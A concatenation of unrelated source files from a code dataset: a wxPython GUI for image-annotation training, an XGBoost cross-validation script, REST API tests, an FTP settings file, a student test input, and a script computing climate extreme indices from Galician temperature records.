self.confirmbgclick)\n\n nr_box = BoxMenu(wx.HORIZONTAL)\n nr_text = wx.StaticText(self, label='Number of positive images : ')\n self.nr_err = wx.StaticText(self, label='Insert the number of positive images')\n self.nr_err.SetForegroundColour((255, 0, 0))\n\n pos_box = BoxMenu(wx.HORIZONTAL)\n pos_button = wx.Button(self, wx.ALIGN_LEFT, label='Positive path', size=(100, 30))\n pos_button.Bind(wx.EVT_BUTTON, self.posclick)\n self.pos_err = wx.StaticText(self, label='Insert the annotations file path')\n self.pos_err.SetForegroundColour((255, 0, 0))\n\n out_box = BoxMenu(wx.HORIZONTAL)\n out_button = wx.Button(self, wx.ALIGN_LEFT, label='Vector location', size=(100, 30))\n out_button.Bind(wx.EVT_BUTTON, self.outclick)\n self.out_err = wx.StaticText(self, label='Select/Insert path to output folder location')\n self.out_err.SetForegroundColour((255, 0, 0))\n\n name2_box = BoxMenu(wx.HORIZONTAL)\n name2_text = wx.StaticText(self, label='Name of the new vector file : ')\n self.name2_err = wx.StaticText(self, label='Insert the desired name for the vector file')\n self.name2_err.SetForegroundColour((255, 0, 0))\n\n confirm_box = BoxMenu(wx.HORIZONTAL)\n confirm_button = wx.Button(self, wx.ALIGN_CENTER, label='Create', size=(70, 30))\n confirm_button.Bind(wx.EVT_BUTTON, self.confirmclick)\n\n self.image_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.bg_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.name = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.nr = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.pos = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.out = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.name2 = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n\n image_box.Add(image_button, 0, wx.RIGHT, 61)\n image_box.Add(self.image_path, 0)\n image_box.Add(self.image_err, 0)\n self.image_err.Hide()\n\n background_box.Add(background_button, 0, wx.RIGHT, 61)\n background_box.Add(self.bg_path, 0)\n background_box.Add(self.bg_err, 0)\n self.bg_err.Hide()\n\n name_box.Add(name_text, 0, wx.RIGHT, 10)\n name_box.Add(self.name, 0)\n name_box.Add(self.name_err, 0)\n self.name_err.Hide()\n\n confirmbg_box.Add(confirmbg_button, 0)\n\n nr_box.Add(nr_text, 0, wx.RIGHT, 30)\n nr_box.Add(self.nr, 0)\n nr_box.Add(self.nr_err, 0)\n self.nr_err.Hide()\n\n pos_box.Add(pos_button, 0, wx.RIGHT, 79)\n pos_box.Add(self.pos, 0)\n pos_box.Add(self.pos_err, 0)\n self.pos_err.Hide()\n\n out_box.Add(out_button, 0, wx.RIGHT, 80)\n out_box.Add(self.out, 0)\n out_box.Add(self.out_err, 0)\n self.out_err.Hide()\n\n name2_box.Add(name2_text, 0, wx.RIGHT, 27)\n name2_box.Add(self.name2, 0)\n name2_box.Add(self.name2_err, 0)\n self.name2_err.Hide()\n\n confirm_box.Add(confirm_button, 0)\n\n mainbox.Add(image_box, 0, wx.ALL, 5)\n mainbox.Add(background_box, 0, wx.ALL, 5)\n mainbox.Add(name_box, 0, wx.ALL, 5)\n mainbox.Add(confirmbg_box, 0, wx.ALIGN_CENTER)\n mainbox.Add(pos_box, 0, wx.ALL, 5)\n mainbox.Add(out_box, 0, wx.ALL, 5)\n mainbox.Add(name2_box, 0, wx.ALL, 5)\n mainbox.Add(nr_box, 0, wx.ALL, 5)\n mainbox.Add(confirm_box, 0, wx.ALIGN_CENTER)\n\n self.SetSizer(mainbox)\n self.Layout()\n\n def imclick(self, event):\n file_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n file_search.ShowModal()\n path = file_search.GetPath()\n self.image_path.SetValue(path)\n file_search.Destroy()\n\n def bgclick(self, event):\n bg_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n bg_search.ShowModal()\n path = bg_search.GetPath()\n self.bg_path.SetValue(path)\n bg_search.Destroy()\n\n def confirmbgclick(self, event):\n ok = 0\n\n if not self.image_path.GetValue():\n self.image_err.Show()\n self.image_err.GetParent().Layout()\n ok = 1\n\n if not self.bg_path.GetValue():\n self.bg_err.Show()\n self.bg_err.GetParent().Layout()\n ok = 1\n\n if not self.name.GetValue():\n self.name_err.Show()\n self.name_err.GetParent().Layout()\n ok = 1\n\n if ok == 1:\n pass\n\n self.image_err.Hide()\n self.bg_err.Hide()\n self.name_err.Hide()\n\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['output_panel'].Show()\n panels['output_panel'].GetParent().Layout()\n displayed_panel = 'output_panel'\n\n LicentaBackend.createBg.createbg(self.image_path.GetValue(), self.bg_path.GetValue(), self.name.GetValue(),\n printfunct=panels['output_panel'].printline)\n #LicentaBackend.createBg.createbg(r'C:\\Users\\Serban\\Desktop\\LicentaResources\\personneg',\n #r'C:\\Users\\Serban\\Desktop\\LicentaResources', r'neg',\n #printfunct=panels['output_panel'].printline)\n\n def posclick(self, event):\n pos_search = wx.FileDialog(self, 'Open', '', '', 'Text files (*.txt)|*.txt',\n wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)\n pos_search.ShowModal()\n path = pos_search.GetPath()\n self.pos.SetValue(path)\n pos_search.Destroy()\n\n def outclick(self, event):\n out_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n out_search.ShowModal()\n path = out_search.GetPath()\n self.out.SetValue(path)\n out_search.Destroy()\n\n def confirmclick(self, event):\n ok = 0\n if not self.nr.GetValue():\n self.nr_err.Show()\n self.nr_err.GetParent().Layout()\n ok = 1\n\n if not self.pos.GetValue():\n self.pos_err.Show()\n self.pos_err.GetParent().Layout()\n ok = 1\n\n if not self.out.GetValue():\n self.out_err.Show()\n self.out_err.GetParent().Layout()\n ok = 1\n\n if not self.name2.GetValue():\n self.name2_err.Show()\n self.name2_err.GetParent().Layout()\n ok = 1\n\n if ok == 1:\n return\n # pass\n\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['output_panel'].Show()\n panels['output_panel'].GetParent().Layout()\n displayed_panel = 'output_panel'\n\n LicentaBackend.vect.create_vec(self.pos.GetValue(), self.out.GetValue(),\n self.name.GetValue(), self.nr.GetValue(),\n printfunct=panels['output_panel'].printline)\n\n\nclass CropPanel(wx.Panel):\n def __init__(self, parent):\n super().__init__(parent)\n\n mainbox = wx.BoxSizer(wx.VERTICAL)\n\n positive_box = BoxMenu(wx.HORIZONTAL)\n positive_button = wx.Button(self, wx.ALIGN_LEFT, label='Positive Images', size=(100, 30))\n positive_button.Bind(wx.EVT_BUTTON, self.posclick)\n self.positive_err = wx.StaticText(self, label='Select/Insert a path to the positive images folder')\n self.positive_err.SetForegroundColour((255, 0, 0))\n\n output_box = BoxMenu(wx.HORIZONTAL)\n output_button = wx.Button(self, wx.ALIGN_LEFT, label='Output location', size=(100, 30))\n output_button.Bind(wx.EVT_BUTTON, self.outclick)\n self.output_err = wx.StaticText(self, label='Select/Insert path to output folder location')\n self.output_err.SetForegroundColour((255, 0, 0))\n\n name_box = BoxMenu(wx.HORIZONTAL)\n name_text = wx.StaticText(self, label='Positive images file name : ')\n self.name_err = wx.StaticText(self, label='Insert the desired name for the output file')\n self.name_err.SetForegroundColour((255, 0, 0))\n\n height_box = BoxMenu(wx.HORIZONTAL)\n height_text = wx.StaticText(self, label='Maximum Window height : ')\n self.height_err = wx.StaticText(self, label='Insert the max window height for the images')\n self.height_err.SetForegroundColour((255, 0, 0))\n\n resize_box = BoxMenu(wx.HORIZONTAL)\n resize_text = wx.StaticText(self, label='Resize factor : ')\n self.resize_err = wx.StaticText(self, label='Insert the resize factor for the images')\n self.resize_err.SetForegroundColour((255, 0, 0))\n\n confirm_box = BoxMenu(wx.HORIZONTAL)\n confirm_button = wx.Button(self, wx.ALIGN_CENTER, label='confirm', size=(70, 30))\n confirm_button.Bind(wx.EVT_BUTTON, self.confirmclick)\n\n self.positive_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.output_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.name = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.height = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.resize = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n\n positive_box.Add(positive_button, 0, wx.RIGHT, 61)\n positive_box.Add(self.positive_path, 0)\n positive_box.Add(self.positive_err, 0)\n self.positive_err.Hide()\n\n output_box.Add(output_button, 0, wx.RIGHT, 61)\n output_box.Add(self.output_path, 0)\n output_box.Add(self.output_err, 0)\n self.output_err.Hide()\n\n name_box.Add(name_text, 0, wx.RIGHT, 12)\n name_box.Add(self.name, 0)\n name_box.Add(self.name_err, 0)\n self.name_err.Hide()\n\n height_box.Add(height_text, 0, wx.RIGHT, 8)\n height_box.Add(self.height, 0)\n height_box.Add(self.height_err, 0)\n self.height_err.Hide()\n\n resize_box.Add(resize_text, 0, wx.RIGHT, 79)\n resize_box.Add(self.resize, 0)\n resize_box.Add(self.resize_err, 0)\n self.resize_err.Hide()\n\n confirm_box.Add(confirm_button, 0)\n\n mainbox.Add(positive_box, 0, wx.ALL, 5)\n mainbox.Add(output_box, 0, wx.ALL, 5)\n mainbox.Add(name_box, 0, wx.ALL, 5)\n mainbox.Add(height_box, 0, wx.ALL, 5)\n mainbox.Add(resize_box, 0, wx.ALL, 5)\n mainbox.Add(confirm_box, 0, wx.ALIGN_CENTER)\n\n self.SetSizer(mainbox)\n self.Layout()\n\n def posclick(self, event):\n file_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n file_search.ShowModal()\n path = file_search.GetPath()\n self.positive_path.SetValue(path)\n file_search.Destroy()\n\n def outclick(self, event):\n file_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n file_search.ShowModal()\n path = file_search.GetPath()\n self.output_path.SetValue(path)\n file_search.Destroy()\n\n def confirmclick(self, event):\n ok = 0\n\n if not self.positive_path.GetValue():\n self.positive_err.Show()\n self.positive_err.GetParent().Layout()\n ok = 1\n\n if not self.output_path.GetValue():\n self.output_err.Show()\n self.output_err.GetParent().Layout()\n ok = 1\n\n if not self.name.GetValue():\n self.name_err.Show()\n self.name_err.GetParent().Layout()\n ok = 1\n\n if not self.height.GetValue():\n self.height_err.Show()\n self.height.GetParent().Layout()\n ok = 1\n\n if not self.resize.GetValue():\n self.resize_err.Show()\n self.resize_err.GetParent().Layout()\n ok = 1\n\n if ok == 1:\n pass\n # return\n\n self.positive_err.Hide()\n self.output_err.Hide()\n self.name_err.Hide()\n self.height_err.Hide()\n self.resize_err.Hide()\n\n LicentaBackend.annotation.annotate(self.positive_path.GetValue(), self.output_path.GetValue(),\n self.name.GetValue(), self.height.GetValue(), self.resize.GetValue())\n\n\n\napp = MainApplication()\napp.MainLoop()\n","sub_path":"Licența2019BotezSerban-Mihai/LicentaInterface/fram.py","file_name":"fram.py","file_ext":"py","file_size_in_byte":46315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"484913600","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2018-01-18 20:16:39\n# @Author : guanglinzhou (xdzgl812@163.com)\n\nimport os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom collections import Counter, defaultdict\nfrom sklearn.model_selection import KFold\nfrom sklearn.metrics import roc_auc_score\nimport time\nimport xgboost as xgb\n\nproject_path = 'E:\\Document\\Competition\\DC_Mac\\DC_Code\\\\'\ntrain_data = pd.read_csv(project_path + 'preprocess/traindata_output/traindata_output.csv')\ntest_data = pd.read_csv(project_path + 'preprocess/testdata_output/testdata_output.csv')\nprint('开始训练...')\nparams = {\n # 'tree_method':'gpu_hist',\n 'learning_rate': 0.01,\n 'n_estimators': 150,\n 'max_depth': 8,\n 'min_child_weight': 3,\n 'gamma': 1,\n 'subsample': 0.8,\n 'colsample_bytree': 0.8,\n 'silent': 1,\n 'eval_metric': 'auc',\n 'objective': 'binary:logistic',\n 'scale_pos_weight': 0.5\n}\nprint('开始CV 10折训练...')\nscores = []\nt0 = time.time()\ntrain_preds = np.zeros(train_data.shape[0])\ntest_preds = np.zeros((test_data.shape[0], 10))\nkf = KFold(n_splits=10, shuffle=True, random_state=1015)\nk = kf.split(train_data)\npredictors = [f for f in test_data.columns if f not in ['orderType']]\n# print(predictors)\nfor i, (train_index, test_index) in enumerate(k):\n print('第{}次训练...'.format(i))\n # print(train_index)\n # print(test_index)\n train_feat1 = train_data.iloc[train_index]\n train_feat2 = train_data.iloc[test_index]\n xgb_train1 = xgb.DMatrix(train_feat1[predictors], label=train_feat1['orderType']) # , categorical_feature=['性别'])\n xgb_train2 = xgb.DMatrix(train_feat2[predictors], label=train_feat2['orderType']) # , categorical_feature=['性别'])\n gbm = xgb.train(params,\n xgb_train1,\n num_boost_round=10000,\n evals=[(xgb_train1, 'train_auc'), (xgb_train2, 'test_auc')],\n verbose_eval=100,\n early_stopping_rounds=120,\n )\n watchlist = [(xgb_train1, 'train_auc'), (xgb_train2, 'test_auc')]\n print('start training...')\n # gbm = xgb.train(params, xgb_train1, num_boost_round=800, evals=watchlist, early_stopping_rounds=40)\n feat_imp = pd.Series(gbm.get_fscore(), index=predictors).sort_values(ascending=False)\n train_preds[test_index] += gbm.predict(xgb.DMatrix(train_feat2[predictors]))\n test_preds[:, i] = gbm.predict(xgb.DMatrix(test_data[predictors]))\nprint('线下得分: {}'.format(roc_auc_score(train_data['orderType'], train_preds)))\nprint('CV训练用时{}秒'.format(time.time() - t0))\npred = test_preds.mean(axis=1)\nresult = pd.DataFrame(columns=['userid', 'orderType'])\nresult['userid'] = test_data.userid\nresult['orderType'] = pred\nresult.to_csv(project_path + 'result/xgb_cv/' + time.strftime(\"%m-%d-%H-%M\", time.localtime()) + '-result' + '.csv',\n index=False)\n","sub_path":"DC_Code/model/xgb_CV.py","file_name":"xgb_CV.py","file_ext":"py","file_size_in_byte":2955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"104197370","text":"import json\nimport urllib.request\n\nfrom touchstone.lib.mocks import validation\nfrom touchstone.lib.touchstone_test import TouchstoneTest\n\nfrom tests import creds\n\n\nclass GetUser(TouchstoneTest):\n \"\"\"\n GIVEN a user\n AND the user exists in the database.\n WHEN a GET request is submitted to the '/user' endpoint with the user's id.\n THEN the user is returned from the endpoint with the correct fields.\n \"\"\"\n\n def given(self) -> object:\n given = {\n 'id': 999,\n 'firstName': 'Jane',\n 'lastName': 'Brown',\n 'email': 'jane789@example.com'\n }\n self.mocks.mysql.setup().insert_row(creds.MYSQL_DATABASE, creds.MYSQL_TABLE, given)\n return given\n\n def when(self, given) -> object:\n response = urllib.request.urlopen(f'{self.service_url}/user/{given[\"id\"]}').read()\n return json.loads(response.decode('utf-8'))\n\n def then(self, given, result) -> bool:\n return validation.matches(given, result)\n\n\nclass PostUser(TouchstoneTest):\n \"\"\"\n GIVEN a user's first name, last name, and email\n AND the email API returns the user's email.\n WHEN a POST request is submitted to the '/user' endpoint with the user's first name and last name.\n THEN the user is returned from the endpoint with the correct fields\n AND the user is saved to the database.\n \"\"\"\n\n def given(self) -> object:\n given = {\n 'firstName': 'Jane',\n 'lastName': 'Brown',\n 'email': 'jane789@example.com'\n }\n self.mocks.http.setup().get('/jane-brown/email', given['email'])\n return given\n\n def when(self, given) -> object:\n body = {\n 'firstName': given['firstName'],\n 'lastName': given['lastName']\n }\n body = bytes(json.dumps(body), encoding='utf-8')\n request = urllib.request.Request(f'{self.service_url}/user', data=body,\n headers={'Content-type': 'application/json'})\n response = urllib.request.urlopen(request).read()\n return json.loads(response.decode('utf-8'))\n\n def then(self, given, result) -> bool:\n expected_response = given.copy()\n expected_response['id'] = validation.ANY\n expected_row = given.copy()\n return validation.matches(expected_response, result) and self.mocks.mysql.verify().row_exists(\n creds.MYSQL_DATABASE,\n creds.MYSQL_TABLE,\n expected_row)\n\n\nclass PutUser(TouchstoneTest):\n \"\"\"\n GIVEN a user's desired new info\n AND the user exists in the database.\n WHEN a PUT request is submitted to the '/user' endpoint with the user's new info.\n THEN the user's info is updated in the database.\n \"\"\"\n\n def given(self) -> object:\n new_info = {\n 'id': 999,\n 'firstName': 'Janie',\n 'lastName': 'White',\n 'email': 'jane123@example.org'\n }\n existing_user = {\n 'id': 999,\n 'firstName': 'Jane',\n 'lastName': 'Brown',\n 'email': 'jane789@example.com'\n }\n self.mocks.mysql.setup().insert_row(creds.MYSQL_DATABASE, creds.MYSQL_TABLE, existing_user)\n return new_info\n\n def when(self, given) -> object:\n body = bytes(json.dumps(given), encoding='utf-8')\n request = urllib.request.Request(f'{self.service_url}/user', data=body, method='PUT',\n headers={'Content-type': 'application/json'})\n urllib.request.urlopen(request)\n return None\n\n def then(self, given, result) -> bool:\n return self.mocks.mysql.verify().row_exists(creds.MYSQL_DATABASE, creds.MYSQL_TABLE, given)\n\n\nclass DeleteUser(TouchstoneTest):\n \"\"\"\n GIVEN a user's id\n AND the user exists in the database.\n WHEN a DELETE request is submitted to the '/user' endpoint with the user's id.\n THEN a message is published to the 'user.exchange' with a routing key of 'user-deleted' and a payload with the\n user's id\n AND the user no longer exists in the database.\n \"\"\"\n\n def processing_period(self) -> float:\n return 0.5\n\n def given(self) -> object:\n user_id = 999\n user = {\n 'id': user_id,\n 'firstName': 'Jane',\n 'lastName': 'Brown',\n 'email': 'jane789@example.com'\n }\n self.mocks.mysql.setup().insert_row(creds.MYSQL_DATABASE, creds.MYSQL_TABLE, user)\n return user_id\n\n def when(self, given) -> object:\n request = urllib.request.Request(f'{self.service_url}/user/{given}', method='DELETE')\n urllib.request.urlopen(request)\n return None\n\n def then(self, given, result) -> bool:\n where = {\n 'id': given\n }\n return self.mocks.rabbitmq.verify().payload_published('user.exchange', str(given),\n routing_key='user-deleted') and \\\n self.mocks.mysql.verify().row_does_not_exist(creds.MYSQL_DATABASE, creds.MYSQL_TABLE, where)\n","sub_path":"examples/java-spring/touchstone/tests/test_user.py","file_name":"test_user.py","file_ext":"py","file_size_in_byte":5094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"376688704","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/12/18 11:55\n# @Author : Xiao\n\n\nimport os\n\n\nPROJECT_PATH = os.path.dirname(os.path.abspath(__file__))\nDOWNLOAD_PATH = os.path.join(PROJECT_PATH, \"download\")\nSERVER_IP = \"localhost\"\nSERVER_PORT = 8089","sub_path":"module4/0homework/ftp_system/ftp_client/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"95884929","text":"# This is an example test input.\r\n# It doesn't do anything very useful.\r\n\r\nimport turtle\r\nimport math\r\n\r\nfrom sys import argv\t# test, not needed\r\nif 1:\r\n\timport turtle\r\n\timport turtle\r\n\tif 0:\r\n\t\teval('42')\r\n\t\texec('42')\r\n\t\tdir(__builtins__)\r\n\r\n\r\n# in Canada, it's called the eh team\r\n\r\ndef foo(l):\r\n\treturn 12345\r\n\r\ndef mr(t):\r\n\tipitythe = foo(l)\r\n\r\nt = 'a drink with jam and bread'\r\nl = 1983-1987\r\nmr(t)\r\n\r\n# this is banned\r\n\r\nmr(mr)","sub_path":"CPSC 231_Win17/Assignment 3/my_solution/input1.py","file_name":"input1.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"282224808","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport datetime as dt\nfrom scipy import stats\n\n\n# In[2]:\n\n\ntmax = pd.read_csv('Tmaximas.csv',sep=\";\",parse_dates=[0],dayfirst=True,index_col=['Fecha'])\ntmin = pd.read_csv('Tminimas.csv',sep=\";\",parse_dates=[0],dayfirst=True,index_col=['Fecha'])\n\n\n# In[5]:\n\n\n# SELECCION AÑOS CON MAS DE 300 DATOS\n#===============================================================================================\ndias_anho_tmax = tmax.groupby((pd.Grouper(freq='Y'))).count() #Recuento de días de cada año \ndias_anho_tmax.index = dias_anho_tmax.index.year #Cambio índice a años\n\ndias_anho_tmin = tmin.groupby((pd.Grouper(freq='Y'))).count() #Recuento de días de cada año\ndias_anho_tmin.index = dias_anho_tmin.index.year #Cambio índice a años\n\n\n# In[6]:\n\n\n#hist=tmin[tmin.index.year==1980].hist(bins=25, figsize=[15,6]) # HISTOGRAMAS\n\n\n# In[8]:\n\n\n# NOMBRE ESTACIONES\n#=========================================================================================================================================================================================\nindices = dias_anho_tmax.index\nnb = tmax.columns #NOMBRE ESTACIONES\nestaciones = ['Allariz','As Pontes','Coruña','Coruña aeropuerto','Lavacolla','Lourizan','Lugo','Ourense','Paramos-Guillarei','Vigo','Xinzo']\n\n\n# In[9]:\n\n\n# Índices\n#=================================================\nindx = ['TX90','TX10','TN90','TN10','TXx','TXn','TNx','TNn','FD','ID','SU','TR','WSDI','CSDI']\nfor i in indx:\n exec('{}= pd.DataFrame(index=indices,columns=nb)'.format(i))\n\n\n# # TX90, TX10, TN90, TN10\n\n# In[11]:\n\n\nfor i in range (0,len(nb)): #Estaciones\n y=1965 #Año inicial\n for j in range (0,len(indices)): #Años\n \n condicion1=((dias_anho_tmax[nb[i]][dias_anho_tmax.index==y]) >= 300).bool() \n if condicion1==True: #Solo se calcula el indice si se tienen mas de 300 datos por año\n \n a = tmax[nb[i]].quantile(0.1,) \n TX10[nb[i]][TX10.index==y] = tmax[nb[i]][tmax.index.year==y][tmax[nb[i]]<=a].count()\n \n b = tmax[nb[i]].quantile(0.9,) \n TX90[nb[i]][TX90.index==y] = tmax[nb[i]][tmax.index.year==y][tmax[nb[i]]>=b].count()\n \n condicion2=((dias_anho_tmin[nb[i]][dias_anho_tmin.index==y]) >= 300).bool() \n if condicion2==True: #Solo se calcula el indice si se tienen mas de 300 datos por año\n \n c = tmin[nb[i]].quantile(0.1,)\n TN10[nb[i]][TN10.index==y] = tmin[nb[i]][tmin.index.year==y][tmin[nb[i]]<=c].count()\n\n d = tmin[nb[i]].quantile(0.9,)\n TN90[nb[i]][TN90.index==y] = tmin[nb[i]][tmin.index.year==y][tmin[nb[i]]>=d].count()\n\n y+=1\n\n\n# # TXx, TXn, TNx, TNn\n\n# In[12]:\n\n\nfor i in range (0,len(nb)): #Estaciones\n y=1965\n for j in range (0,len(indices)): #Años \n \n condicion1=((dias_anho_tmax[nb[i]][dias_anho_tmax.index==y]) >= 300).bool() \n if condicion1==True: #Solo se calcula el indice si se tienen mas de 300 datos por año\n \n e = tmax[nb[i]][tmax[nb[i]].index.year==y].max()\n TXx[nb[i]][TXx[nb[i]].index==y] = e\n\n f = tmax[nb[i]][tmax[nb[i]].index.year==y].min()\n TXn[nb[i]][TXn[nb[i]].index==y] = f\n \n condicion2=((dias_anho_tmin[nb[i]][dias_anho_tmin.index==y]) >= 300).bool() \n if condicion2==True: #Solo se calcula el indice si se tienen mas de 300 datos por año\n \n g = tmin[nb[i]][tmin[nb[i]].index.year==y].max()\n TNx[nb[i]][TXx[nb[i]].index==y]= g\n\n h = tmin[nb[i]][tmin[nb[i]].index.year==y].min()\n TNn[nb[i]][TNn[nb[i]].index==y] = h\n \n y+=1\n\n\n# # FD, ID, SU, TR\n\n# In[13]:\n\n\nfor i in range (0,len(nb)): #Estaciones\n y=1965\n for j in range (0,len(indices)): #Años \n \n condicion2=((dias_anho_tmin[nb[i]][dias_anho_tmin.index==y]) >= 300).bool() \n if condicion2==True: #Solo se calcula el indice si se tienen mas de 300 datos por año\n \n k = tmin[tmin<=0][nb[i]][tmin[tmin<=0][nb[i]].index.year==y].count()\n FD[nb[i]][FD[nb[i]].index==y] = k\n\n o = tmin[tmin>=20][nb[i]][tmin[tmin>=20][nb[i]].index.year==y].count()\n TR[nb[i]][TR[nb[i]].index==y] = o\n \n condicion1=((dias_anho_tmax[nb[i]][dias_anho_tmax.index==y]) >= 300).bool() \n if condicion1==True: #Solo se calcula el indice si se tienen mas de 300 datos por año\n \n m = tmax[tmax<=0][nb[i]][tmax[tmax<=0][nb[i]].index.year==y].count()\n ID[nb[i]][ID[nb[i]].index==y] = m\n\n n = tmax[tmax>=25][nb[i]][tmax[tmax>=25][nb[i]].index.year==y].count()\n SU[nb[i]][SU[nb[i]].index==y] = n\n\n y+=1\n\n\n# # CSDI\n\n# In[14]:\n\n\nfor k in range (0,len(nb)): \n percentil10 = tmin[nb[k]].quantile(0.1,)\n y=1965\n for i in range (0,len(indices)): # de estación en estación\n condicion2=((dias_anho_tmin[nb[k]][dias_anho_tmin.index==y]) >= 300).bool() \n if condicion2==True: #Solo se calcula el indice si se tienen mas de 300 datos por año\n l0 = tmin[nb[k]][tmin.index.year==y][tmin[nb[k]]<=percentil10].index #lista de fechas\n m = len(l0) #longitud d ela lista\n l1 = l0[0:m-1] #nueva lista datos del primero a penultimo\n l2 = l0[1:m] #nueva lista datos del segundo al ultimo\n dl = (l2 - l1).days #numero de dias entre fechas consecutivas\n long = len(dl) #longitud de la lista de días\n \n cont = 0 #contador de fechas leidas\n j=0 #Posicion en la lista\n nCSDI = 0 #numero de periodos\n while j<len(dl)-1:\n if dl[j]==1:\n cont+=1 #si la diferencia es 1 dia, cuento 1\n if cont>=6 and dl[j+1]!=1: #Cuando el periodo se acaba, el siguiente dia no es diferencia 1.\n nCSDI+=1 #Cuento un periodo CSDI\n cont=0 #resturo contador inicial para identificar periodos de días consecutivos\n else:\n cont=0\n j+=1\n CSDI[nb[k]][CSDI.index==y] = nCSDI\n y+=1\n else:\n CSDI[nb[k]][CSDI.index==y] = np.nan\n y+=1\n\n\n# # WSDI\n\n# In[15]:\n\n\nfor k in range (0,len(nb)): \n y=1965\n percentil90 = tmax[nb[k]].quantile(0.9,) \n for i in range (0,len(indices)):\n condicion1=((dias_anho_tmax[nb[k]][dias_anho_tmax.index==y]) >= 300).bool() \n if condicion1==True: #Solo se calcula el indice si se tienen mas de 300 datos por año\n l0 = tmax[nb[k]][tmax.index.year==y][tmax[nb[k]]>=percentil90].index\n m= len(l0)\n l1 = l0[0:m-1]\n l2 = l0[1:m]\n dl = (l2 - l1).days\n long = len(dl)\n cont = 0\n j=0\n nWSDI = 0\n while j<len(dl)-1:\n if dl[j]==1:\n cont+=1\n if cont>=6 and dl[j+1]!=1:\n nWSDI+=1\n cont=0\n else:\n cont=0\n \n j+=1\n WSDI[nb[k]][WSDI.index==y] = nWSDI\n y+=1\n else:\n WSDI[nb[k]][WSDI.index==y] = np.nan\n y+=1\n\n\n# # DTR, ETR\n\n# In[16]:\n\n\ndtr= tmax - tmin\nDTR = dtr.groupby(pd.Grouper(freq='Y')).mean()\nDTR.index = DTR.index.year\n\nETR = TXx-TNn\n\n\n# # GSL\n\n# In[17]:\n\n\ntmed = (tmax+tmin)/2 # TEMPERATURA MEDIA DIARIA\nGSL = pd.DataFrame(index=indices,columns=nb)\n\n\n# In[18]:\n\n\ndef ultimo(lista):\n l = len(lista)\n lst = np.nan\n if l>5: #Deben ser 5 días consecutivos, si no hay 5 días en la lista, no hay periodo\n stop=False\n j = 0 #Recorrer lista\n dias_consecutivos = 0 #Condicion para poder guardar el dia\n while stop==False: #Bucle para si stop=True o el dia\n dia1 = lista[j]\n dia2 = lista[j+1]\n diferencia = (dia2 - dia1).days\n if diferencia==1:\n dias_consecutivos+=1\n if dias_consecutivos==5:\n lst = dia1-dt.timedelta(days=4)\n stop = True\n else:\n dias_consecutivos = 0 \n j+=1\n if (j+1)==l:\n stop = True\n return lst\n\n\n# In[19]:\n\n\ndef primero(lista): \n l = len(lista)\n fst=np.nan\n if l>5: #Deben ser 5 días consecutivos\n stop=False\n j = 0 #Recorrer lista\n dias_consecutivos = 0 #Condicion para poder guardar el dia\n while stop==False: #Bucle para si stop=True o el dia\n dia1 = lista[j]\n dia2 = lista[j+1]\n diferencia = (dia2 - dia1).days\n if diferencia==1:\n dias_consecutivos+=1\n if dias_consecutivos==5:\n fst = dia1-dt.timedelta(days=4)\n stop = True\n else:\n dias_consecutivos = 0\n \n if dia2==lista[l-1]:\n stop = True\n j+=1\n if (j+1)==l:\n stop = True\n return fst\n\n\n# In[21]:\n\n\ndef calc_GSL(fst,lst):\n GSL = (lst-fst).days\n return GSL\n\n\n# In[23]:\n\n\n# GSL\n\nfor i in range(0,len(nb)):\n y=1965\n while y<=2014:\n condicion=((dias_anho_tmax[nb[i]][dias_anho_tmax.index==y]) >= 350).bool() \n if condicion==True:\n stop=False\n lista1 = tmed[nb[i]][(tmed.index.year==y) & (tmed.index.month<=7)][tmed[nb[i]]>=5].index #Días de T<=7.\n lista2 = tmed[nb[i]][(tmed.index.year==y) & (tmed.index.month>=7)][tmed[nb[i]]<=5].index\n \n fst = primero(lista1)\n lst = ultimo(lista2)\n \n if (pd.isnull(lst)==True):\n anho = tmed[nb[i]][(tmed.index.year==y)].index\n if anho[0]==fst:\n GSL[nb[i]][GSL.index==y] = 365\n else:\n gsl = 365 - (fst-anho[0]).days\n else:\n GSL[nb[i]][GSL.index==y] = calc_GSL(fst,lst)\n \n y+=1\n\n\n# In[24]:\n\n\n# GROWING SEASON LENGHT (GSL)\n#================================================================================================\n#GSL = abs((fst-lst).astype('timedelta64[D]'))\n\n\n# # 